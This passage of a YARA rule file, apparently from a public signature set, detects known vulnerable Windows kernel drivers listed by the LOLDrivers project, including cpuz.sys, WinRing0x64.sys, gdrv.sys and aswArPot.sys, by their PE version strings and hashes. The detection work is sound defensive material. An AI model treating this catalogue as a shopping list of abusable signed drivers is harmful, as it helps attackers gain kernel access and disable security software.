		date = "2023-06-14"
		score = 40
		id = "e6f3c13e-0cec-5430-beeb-fc980dd29887"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Windowsrwinddkprovider_Cpuzsys_Windowsrwinddkdriver_1F4D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1f4d4db4abe26e765a33afb2501ac134d14cadeaa74ae8a0fae420e4ecf58e0c"
		hash = "c3e150eb7e7292f70299d3054ed429156a4c32b1f7466a706a2b99249022979e"
		hash = "2a9d481ffdc5c1e2cb50cf078be32be06b21f6e2b38e90e008edfc8c4f2a9c4e"
		hash = "8688e43d94b41eeca2ed458b8fc0d02f74696a918e375ecd3842d8627e7a8f2b"
		hash = "592f56b13e7dcaa285da64a0b9a48be7562bd9b0a190208b7c8b7d8de427cf6c"
		hash = "4d19ee789e101e5a76834fb411aadf8229f08b3ece671343ad57a6576a525036"
		hash = "60b163776e7b95e0c2280d04476304d0c943b484909131f340e3ce6045a49289"
		date = "2023-06-14"
		score = 40
		id = "145b846a-8721-5a56-aa76-6d7d5dd16562"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Novellinc_Novellxtier_B50F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "b50ffc60eaa4fb7429fdbb67c0aba0c7085f5129564d0a113fec231c5f8ff62e"
		hash = "b37b3c6877b70289c0f43aeb71349f7344b06063996e6347c3c18d8c5de77f3b"
		date = "2023-06-14"
		score = 40
		id = "fc6032d2-ef08-5fdb-be73-39dd42185b13"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Openlibsysorg_Winringsys_Winring_11BD
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0x64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"
		hash = "a7b000abbcc344444a9b00cfade7aa22ab92ce0cadec196c30eb1851ae4fa062"
		date = "2023-06-14"
		score = 40
		id = "370f3fc6-6199-5c19-a0b5-8c02fb89f30a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d00320030003000380020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Windowswinowsdriverkitsprovider_Hwrwdrvsys_Hardwarereadwritedriver_21CC
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwRwDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "21ccdd306b5183c00ecfd0475b3152e7d94b921e858e59b68a03e925d1715f21"
		date = "2023-06-14"
		score = 40
		id = "fa8e9fd9-7d07-5e05-a8d0-3769b9dd9157"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f0077007300ae002000770069006e006f007700730020003700200064007200690076006500720020006b006900740073002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048007700520077004400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048007700520077004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_AD8F
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ad8ffccfde782bc287241152cf24245a8bf21c2530d81c57e17631b3c4adb833"
		date = "2023-06-14"
		score = 40
		id = "25dc4405-52ae-51f9-9afd-49f2a9fcaa08"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3124
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3124b0411b8077605db2a9b7909d8240e0d554496600e2706e531c93c931e1b5"
		date = "2023-06-14"
		score = 40
		id = "25893130-a0b5-5c5c-b7d2-e22bf8eec311"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004600720065007100750065006e00630079005f00430043 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Iobit_Monitorsys_Advancedsystemcare_E4A7
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Monitor_win10_x64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e4a7da2cf59a4a21fc42b611df1d59cae75051925a7ddf42bf216cc1a026eadb"
		date = "2023-06-14"
		score = 40
		id = "65b75be5-98a2-56ca-bb4a-cfd0c6871c0e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004f006200690074002000540065006d007000650072006100740075007200650020004d006f006e00690074006f0072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f006200690074 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e00310031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e006300650064002000530079007300740065006d0043006100720065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200049004f006200690074002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Phoenixtechnologiesltd_Phlashnt_Winphlash_65DB
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PhlashNT.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "65db1b259e305a52042e07e111f4fa4af16542c8bacd33655f753ef642228890"
		date = "2023-06-14"
		score = 40
		id = "7c0b1c20-b3ef-56e9-b2e2-e2542c7a85e3"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300570069006e0046006c006100730068002000440072006900760065007200200066006f0072002000570069006e0064006f007700730020004e0054 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e0031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500048004c004100530048004e0054 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00500068006c006100730068 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500048004c004100530048004e0054002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800630029002000500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073002c0020004c00740064002e00200032003000300030002d0032003000300033 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Arthurliberman_Alsysiosys_Alsysio_7196
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ALSysIO64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7196187fb1ef8d108b380d37b2af8efdeb3ca1f6eefd37b5dc114c609147216d"
		date = "2023-06-14"
		score = 40
		id = "3b631d10-d727-53f8-8f56-87695e305198"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004c0053007900730049004f }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041007200740068007500720020004c0069006200650072006d0061006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0038002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004c0053007900730049004f }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004c0053007900730049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300033002d003200300030003900200041007200740068007500720020004c0069006200650072006d0061006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_133E
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "133e542842656197c5d22429bd56d57aa33c9522897fdf29853a6d321033c743"
		date = "2023-06-14"
		score = 40
		id = "f1f06952-1500-57af-8486-eb127a90b110"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_0D37
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "0d3790af5f8e5c945410929e31d06144a471ac82f828afe89a4758a5bbeb7f9f"
		hash = "523d1d43e896077f32cd9acaa8e85b513bfb7b013a625e56f0d4e9675d9822ba"
		hash = "df0dcfb3971829af79629efd036b8e1c6e2127481b3644ccc6e2ddd387489a15"
		hash = "9a523854fe84f15efc1635d7f5d3e71812c45d6a4d2c99c29fdc4b4d9c84954c"
		hash = "8c95d28270a4a314299cf50f05dcbe63033b2a555195d2ad2f678e09e00393e6"
		hash = "1ee59eb28688e73d10838c66e0d8e011c8df45b6b43a4ac5d0b75795ca3eb512"
		hash = "5b3705b47dc15f2b61ca3821b883b9cd114d83fcc3344d11eb1d3df495d75abe"
		hash = "67734c7c0130dd66c964f76965f09a2290da4b14c94412c0056046e700654bdc"
		hash = "80eeb8c2890f3535ed14f5881baf2f2226e6763be099d09fb8aadaba5b4474c1"
		hash = "19696fb0db3fcae22f705ae1eb1e9f1151c823f3ff5d8857e90f2a4a6fdc5758"
		hash = "e58bbf3251906ff722aa63415bf169618e78be85cb92c8263d3715c260491e90"
		hash = "11d258e05b850dcc9ecfacccc9486e54bd928aaa3d5e9942696c323fdbd3481b"
		date = "2023-06-14"
		score = 40
		id = "46f31bf7-9e9f-5fe2-95cc-1b0be823c41b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310030002000430050005500490044 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Asustek_Driversys_Ectool_927C
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - driver7-x86-withoutdbg.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "927c2a580d51a598177fa54c65e9d2610f5f212f1b6cb2fbf2740b64368f010a"
		hash = "42851a01469ba97cdc38939b10cf9ea13237aa1f6c37b1ac84904c5a12a81fa0"
		hash = "771a8d05f1af6214e0ef0886662be500ee910ab99f0154227067fddcfe08a3dd"
		date = "2023-06-14"
		score = 40
		id = "4513216a-2654-5743-8550-01e82743f67a"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400680065002000640072006900760065007200200066006f007200200074006800650020004500430074006f006f006c0020006400720069007600650072002d0062006100730065006400200074006f006f006c0073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300740065006b }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044007200690076006500720037002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0045004300200074006f006f006c }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044007200690076006500720037 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_CF4B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "cf4b5fa853ce809f1924df3a3ae3c4e191878c4ea5248d8785dc7e51807a512b"
		date = "2023-06-14"
		score = 40
		id = "61555f9e-6caf-5c8c-b4ee-01046e04f744"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d005300490043006c006f0063006b005f00430043 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_D783
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "d783ace822f8fe4e25d5387e5dd249cb72e62f62079023216dc436f1853a150f"
		date = "2023-06-14"
		score = 40
		id = "12d08eab-49f0-5d40-bd2d-1a4834deaef1"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000330033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_4B52
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1"
		date = "2023-06-14"
		score = 40
		id = "06a605d6-893e-5ee7-a3d7-bfb128363b81"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002e0031002e003100380037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003100200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule PUA_VULN_Driver_Biostargroup_Iodriver_Biostariodriverfle_42E1
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - BS_I2cIo.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "42e170a7ab1d2c160d60abfc906872f9cfd0c2ee169ed76f6acb3f83b3eeefdb"
		hash = "f929bead59e9424ab90427b379dcdd63fbfe0c4fb5e1792e3a1685541cd5ec65"
		hash = "55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a"
		date = "2023-06-14"
		score = 40
		id = "eb5f5339-f11a-5502-8feb-4bfbd4698a31"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200031002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f002000640072006900760065007200200066006c0065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f0049003200630049006f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000300032002d0032003000300036002000420049004f0053005400410052002000470072006f00750070 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Mitactechnologycorporation_Mtcbsvsys_Mitacsystemserviceprovider_C9CF
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mtcBSv64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "c9cf1d627078f63a36bbde364cd0d5f2be1714124d186c06db5bcdf549a109f8"
		date = "2023-06-14"
		score = 40
		id = "36fcbeca-f19e-54b8-9687-121bd9809e9d"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320031002c00200031002c00200034002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d0069005400410043002000530079007300740065006d00200053006500720076006900630065002000500072006f00760069006400650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0074006300420053007600360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004d006900540041004300200054006500630068006e006f006c006f0067007900200043006f00720070006f0072006100740069006f006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

